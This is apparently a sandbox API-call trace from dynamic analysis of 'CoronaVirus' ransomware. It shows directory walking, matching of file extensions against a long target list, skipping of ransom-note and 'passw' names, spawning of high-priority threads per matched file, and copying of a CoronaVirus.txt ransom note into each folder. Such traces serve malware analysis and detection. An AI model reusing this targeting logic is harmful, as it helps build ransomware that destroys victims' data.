	[0079.579] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xe8ca8114, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.579] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0079.579] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8ca8114, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xe8ca8114, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0079.579] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0079.579] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0079.579] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.579] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0079.579] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.579] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0079.579] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.580] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0079.580] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.580] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0079.580] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.580] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0079.580] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.580] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0079.580] malloc (_Size=0x1000) returned 0x45c918
	[0079.580] _swprintf (in: param_1=0x45c918, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1025\\CoronaVirus.txt") returned 42
	[0079.580] wcsstr (_Str="C:\\588bce7c90097ed212\\1025\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0079.580] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0079.580] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0079.580] wcsncmp (_String1="eu", _String2="..", _MaxCount=0x2) returned 55
	[0079.580] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.580] wcsstr (_Str=".bak", _SubStr=".rtf") returned 0x0
	[0079.580] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.580] wcsstr (_Str=".bat", _SubStr=".rtf") returned 0x0
	[0079.580] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.580] wcsstr (_Str=".doc", _SubStr=".rtf") returned 0x0
	[0079.581] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.581] wcsstr (_Str=".jpg", _SubStr=".rtf") returned 0x0
	[0079.581] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.581] wcsstr (_Str=".jpe", _SubStr=".rtf") returned 0x0
	[0079.581] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.581] wcsstr (_Str=".txt", _SubStr=".rtf") returned 0x0
	[0079.581] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.581] wcsstr (_Str=".tex", _SubStr=".rtf") returned 0x0
	[0079.581] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.581] wcsstr (_Str=".dbf", _SubStr=".rtf") returned 0x0
	[0079.581] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.581] wcsstr (_Str=".xls", _SubStr=".rtf") returned 0x0
	[0079.581] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.581] wcsstr (_Str=".cry", _SubStr=".rtf") returned 0x0
	[0079.581] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.581] wcsstr (_Str=".xml", _SubStr=".rtf") returned 0x0
	[0079.581] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.581] wcsstr (_Str=".vsd", _SubStr=".rtf") returned 0x0
	[0079.581] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.581] wcsstr (_Str=".pdf", _SubStr=".rtf") returned 0x0
	[0079.581] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.581] wcsstr (_Str=".csv", _SubStr=".rtf") returned 0x0
	[0079.581] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.581] wcsstr (_Str=".bmp", _SubStr=".rtf") returned 0x0
	[0079.581] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.581] wcsstr (_Str=".tif", _SubStr=".rtf") returned 0x0
	[0079.581] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.581] wcsstr (_Str=".1cd", _SubStr=".rtf") returned 0x0
	[0079.581] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.581] wcsstr (_Str=".tax", _SubStr=".rtf") returned 0x0
	[0079.581] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.581] wcsstr (_Str=".gif", _SubStr=".rtf") returned 0x0
	[0079.581] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.581] wcsstr (_Str=".gbr", _SubStr=".rtf") returned 0x0
	[0079.581] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.581] wcsstr (_Str=".png", _SubStr=".rtf") returned 0x0
	[0079.582] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.582] wcsstr (_Str=".mdb", _SubStr=".rtf") returned 0x0
	[0079.582] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.582] wcsstr (_Str=".mdf", _SubStr=".rtf") returned 0x0
	[0079.582] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.582] wcsstr (_Str=".sdf", _SubStr=".rtf") returned 0x0
	[0079.582] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.582] wcsstr (_Str=".dwg", _SubStr=".rtf") returned 0x0
	[0079.582] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.582] wcsstr (_Str=".dxf", _SubStr=".rtf") returned 0x0
	[0079.582] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.582] wcsstr (_Str=".dgn", _SubStr=".rtf") returned 0x0
	[0079.582] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.582] wcsstr (_Str=".stl", _SubStr=".rtf") returned 0x0
	[0079.582] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.582] wcsstr (_Str=".gho", _SubStr=".rtf") returned 0x0
	[0079.582] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.582] wcsstr (_Str=".v2i", _SubStr=".rtf") returned 0x0
	[0079.582] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.582] wcsstr (_Str=".3ds", _SubStr=".rtf") returned 0x0
	[0079.582] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.582] wcsstr (_Str=".ppt", _SubStr=".rtf") returned 0x0
	[0079.582] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.582] wcsstr (_Str=".acc", _SubStr=".rtf") returned 0x0
	[0079.582] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.582] wcsstr (_Str=".vpd", _SubStr=".rtf") returned 0x0
	[0079.582] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.582] wcsstr (_Str=".odt", _SubStr=".rtf") returned 0x0
	[0079.582] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.582] wcsstr (_Str=".ods", _SubStr=".rtf") returned 0x0
	[0079.582] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.582] wcsstr (_Str=".rar", _SubStr=".rtf") returned 0x0
	[0079.582] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.582] wcsstr (_Str=".zip", _SubStr=".rtf") returned 0x0
	[0079.582] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.582] wcsstr (_Str=".cpp", _SubStr=".rtf") returned 0x0
	[0079.582] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.583] wcsstr (_Str=".pas", _SubStr=".rtf") returned 0x0
	[0079.583] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.583] wcsstr (_Str=".asm", _SubStr=".rtf") returned 0x0
	[0079.583] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.583] wcsstr (_Str=".rtf", _SubStr=".rtf") returned=".rtf"
	[0079.583] malloc (_Size=0x1000) returned 0x45d920
	[0079.583] _swprintf (in: param_1=0x45d920, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0079.583] wcsstr (_Str="C:\\588bce7c90097ed212\\1025\\eula.rtf", _SubStr="CoronaVirus") returned 0x0
	[0079.583] wcsstr (_Str="C:\\588bce7c90097ed212\\1025\\eula.rtf", _SubStr="wasse") returned 0x0
	[0079.583] wcsstr (_Str="C:\\588bce7c90097ed212\\1025\\eula.rtf", _SubStr="passw") returned 0x0
	[0079.583] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x45d920, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x404
	[0079.583] SetThreadPriority (hThread=0x404, nPriority=15) returned 1
	[0079.587] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0079.588] wcsncmp (_String1="L", _String2=".", _MaxCount=0x1) returned 30
	[0079.588] wcsncmp (_String1="Lo", _String2="..", _MaxCount=0x2) returned 30
	[0079.588] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.588] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0079.588] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.588] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0079.588] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.594] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0079.594] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.594] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0079.594] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.594] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0079.594] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.594] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0079.594] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.596] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0079.596] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.596] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0079.596] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.596] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0079.596] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.596] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0079.596] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.596] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0079.596] malloc (_Size=0x1000) returned 0x2f10048
	[0079.597] _swprintf (in: param_1=0x2f10048, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0079.597] wcsstr (_Str="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml", _SubStr="CoronaVirus") returned 0x0
	[0079.597] wcsstr (_Str="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml", _SubStr="wasse") returned 0x0
	[0079.597] wcsstr (_Str="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml", _SubStr="passw") returned 0x0
	[0079.597] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f10048, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x408
	[0079.690] SetThreadPriority (hThread=0x408, nPriority=15) returned 1
	[0079.692] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0079.692] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0079.692] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0079.692] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.692] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0079.692] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.692] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0079.692] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.692] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
	[0079.705] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.710] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0079.710] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.710] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0079.710] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.710] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0079.710] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.710] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0079.710] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.710] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0079.710] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.710] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0079.710] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.710] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0079.710] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.710] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0079.710] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.710] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0079.710] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.710] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0079.710] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.710] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0079.710] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.711] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0079.711] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.711] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0079.711] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.711] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0079.711] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.711] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0079.711] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.711] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0079.711] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.711] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0079.711] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.711] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0079.711] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.711] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0079.711] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.711] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0079.711] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.711] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0079.711] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.711] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0079.711] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.711] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0079.711] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.711] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0079.711] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.711] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0079.711] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.711] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
	[0079.711] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.711] wcsstr (_Str=".v2i", _SubStr=".dll") returned 0x0
	[0079.711] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.711] wcsstr (_Str=".3ds", _SubStr=".dll") returned 0x0
	[0079.711] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.711] wcsstr (_Str=".ppt", _SubStr=".dll") returned 0x0
	[0079.711] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.711] wcsstr (_Str=".acc", _SubStr=".dll") returned 0x0
	[0079.711] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.712] wcsstr (_Str=".vpd", _SubStr=".dll") returned 0x0
	[0079.712] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.712] wcsstr (_Str=".odt", _SubStr=".dll") returned 0x0
	[0079.712] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.712] wcsstr (_Str=".ods", _SubStr=".dll") returned 0x0
	[0079.712] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.712] wcsstr (_Str=".rar", _SubStr=".dll") returned 0x0
	[0079.712] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.712] wcsstr (_Str=".zip", _SubStr=".dll") returned 0x0
	[0079.712] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.712] wcsstr (_Str=".cpp", _SubStr=".dll") returned 0x0
	[0079.712] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.712] wcsstr (_Str=".pas", _SubStr=".dll") returned 0x0
	[0079.712] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.712] wcsstr (_Str=".asm", _SubStr=".dll") returned 0x0
	[0079.712] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.712] wcsstr (_Str=".rtf", _SubStr=".dll") returned 0x0
	[0079.712] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.712] wcsstr (_Str=".lic", _SubStr=".dll") returned 0x0
	[0079.712] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.712] wcsstr (_Str=".avi", _SubStr=".dll") returned 0x0
	[0079.712] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.712] wcsstr (_Str=".mov", _SubStr=".dll") returned 0x0
	[0079.712] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.712] wcsstr (_Str=".mp3", _SubStr=".dll") returned 0x0
	[0079.712] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.712] wcsstr (_Str=".vbs", _SubStr=".dll") returned 0x0
	[0079.712] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.712] wcsstr (_Str=".v8i", _SubStr=".dll") returned 0x0
	[0079.712] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.712] wcsstr (_Str=".erf", _SubStr=".dll") returned 0x0
	[0079.712] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.712] wcsstr (_Str=".epf", _SubStr=".dll") returned 0x0
	[0079.712] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.712] wcsstr (_Str=".mxl", _SubStr=".dll") returned 0x0
	[0079.712] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.713] wcsstr (_Str=".cfu", _SubStr=".dll") returned 0x0
	[0079.713] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.713] wcsstr (_Str=".mht", _SubStr=".dll") returned 0x0
	[0079.713] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.713] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0079.713] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.713] wcsstr (_Str=".old", _SubStr=".dll") returned 0x0
	[0079.713] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0079.713] FindClose (in: hFindFile=0x600ad0 | out: hFindFile=0x600ad0) returned 1
	[0079.713] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1028", cAlternateFileName="")) returned 1
	[0079.713] wcsncmp (_String1="1", _String2=".", _MaxCount=0x1) returned 3
	[0079.713] wcsncmp (_String1="10", _String2="..", _MaxCount=0x2) returned 3
	[0079.713] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1028") returned 26
	[0079.713] wcsncmp (_String1="C:\\588bce", _String2="C:\\WINDOW", _MaxCount=0x9) returned -34
	[0079.713] wcsstr (_Str="C:\\588bce7c90097ed212\\1028", _SubStr="Microsoft\\Windows") returned 0x0
	[0079.713] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\588bce7c90097ed212\\1028\\CoronaVirus.txt" (normalized: "c:\\588bce7c90097ed212\\1028\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0079.718] _alloca_probe () returned 0x4036d0
	[0079.718] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1028", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\588bce7c90097ed212\\1028", lpFilePart=0x316583c*="1028") returned 0x1a
	[0079.718] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xe8dff416, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600ad0
	[0079.718] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0079.718] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xe8dff416, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.718] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0079.718] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8dff416, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xe8dff416, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0079.718] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0079.718] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0079.718] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.718] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
